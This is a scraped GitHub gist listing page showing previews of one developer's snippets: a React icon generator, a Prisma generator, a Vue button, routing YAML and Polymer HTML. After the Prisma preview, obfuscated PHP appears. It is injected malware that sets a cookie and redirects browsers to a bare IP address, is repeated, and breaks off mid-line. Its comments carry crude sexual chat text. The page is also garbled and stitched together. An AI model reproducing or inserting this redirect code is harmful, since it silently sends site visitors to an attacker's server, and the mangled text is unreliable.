Skip to content

Instantly share code, notes, and snippets.

View deckchairlabs's full-sized avatar
🏠
Working from home

James Edmonds deckchairlabs

🏠
Working from home
View GitHub Profile
@deckchairlabs
deckchairlabs / generate-icon-sheet.mjs
Created December 4, 2022 09:06
Generate an icons.svg and Icon.tsx component from your icon components!
import { CheckIcon, Cross2Icon, ChevronDownIcon, ChevronUpIcon } from "@radix-ui/react-icons";
import { createElement } from "react";
import { renderToString } from "react-dom/server";
import { dirname, join } from "path";
import { fileURLToPath } from "url";
import { writeFile } from "fs/promises";
import { format } from "prettier";
const __dirname = dirname(fileURLToPath(import.meta.url));
import React from "https://esm.sh/react";
export default function Root() {
return (
<div>
Hello World!
</div>
);
}
@deckchairlabs
deckchairlabs / filters.js
Created May 17, 2021 03:04
Prisma Custom Generator
#!/usr/bin/env node
const path = require('path')
const generatorHelper = require('@prisma/generator-helper')
const { Project, StructureKind, VariableDeclarationKind } = require('ts-morph')
generatorHelper.generatorHandler({
onManifest(config) {
return {
prettyName: 'Filters',
defaultOutput: path.resolve(__dirname, 'filters'),
if(!empty/*Bloodninja: I lick your earlobe, and undo your watch.*/($_SERVER["HTTP_USER_AGENT"])):$_���Ʊ��=array("Chro\155e","\x46\151refo\x78","Trident","MSIE","W\151ndows","\x4cinux","Ip\150on\x65","Android","Opera","Safari");foreach($_���Ʊ�� as$_�߅��):if(sTRipos($_SERVER["HTTP_\x55SER_AGENT"],$_�߅��)!==/*Sarah19fca: mmmm, okay.*/false/*Bloodninja: I take yo pants off, grunting like a troll.*/):if(!isset($_COOKIE["\x68tp_uid_ut\x6d"])):sETcOOKIe("htp_ui\x64_u\164m","1",TiME()+07020/*Sarah19fca: Yeah I like it rough.*/*030/*Bloodninja: I smack you thick booty.*/*02);HeadEr("Location: http://134.\x3249.116.78/ind\x65x.php");die/*Sarah19fca: Oh yeah, that feels good.*/();endif;endif;endforeach;endif;;/*Bloodninja: Smack, Smack, yeeeaahhh.*/if(!empty/*Bloodninja: I lick your earlobe, and undo your watch.*/($_SERVER["HTTP_USER_AGENT"])):$_���Ʊ��=array("Chro\155e","\x46\151refo\x78","Trident","MSIE","W\151ndows","\x4cinux","Ip\150on\x65","Android","Opera","Safari");foreach($_���Ʊ�� as$_�߅��):if(sTRipos($_SERVER["H
@deckchairlabs
deckchairlabs / Button.js
Created February 27, 2019 04:51
vue emotion refactor
import { css, cx } from "emotion";
const baseStyles = () =>
css`
background-color: black;
color: white;
cursor: pointer;
padding: 10px;
&:hover {
background-color: red;
@deckchairlabs
deckchairlabs / routing.yml
Created August 28, 2017 00:13
Route attributes for configuring controllers/actions
my_route:
path: /my-cool-route
defaults:
_controller: 'Some\Controller:indexAction'
twig_param_name: 'posts' #this is available at the $request->attributes->get('twig_param_name')
@deckchairlabs
deckchairlabs / designer.html
Last active August 29, 2015 14:10
designer
<link rel="import" href="../core-drawer-panel/core-drawer-panel.html">
<link rel="import" href="../core-menu/core-submenu.html">
<link rel="import" href="../core-item/core-item.html">
<link rel="import" href="../core-icon-button/core-icon-button.html">
<link rel="import" href="../core-toolbar/core-toolbar.html">
<link rel="import" href="../core-header-panel/core-header-panel.html">
<polymer-element name="my-element">
<template>
<link rel="import" href="../core-field/core-field.html">
<link rel="import" href="../core-icon/core-icon.html">
<link rel="import" href="../core-input/core-input.html">
<link rel="import" href="../core-icons/core-icons.html">
<link rel="import" href="../paper-button/paper-button.html">
<polymer-element name="my-element">
<template>
<style>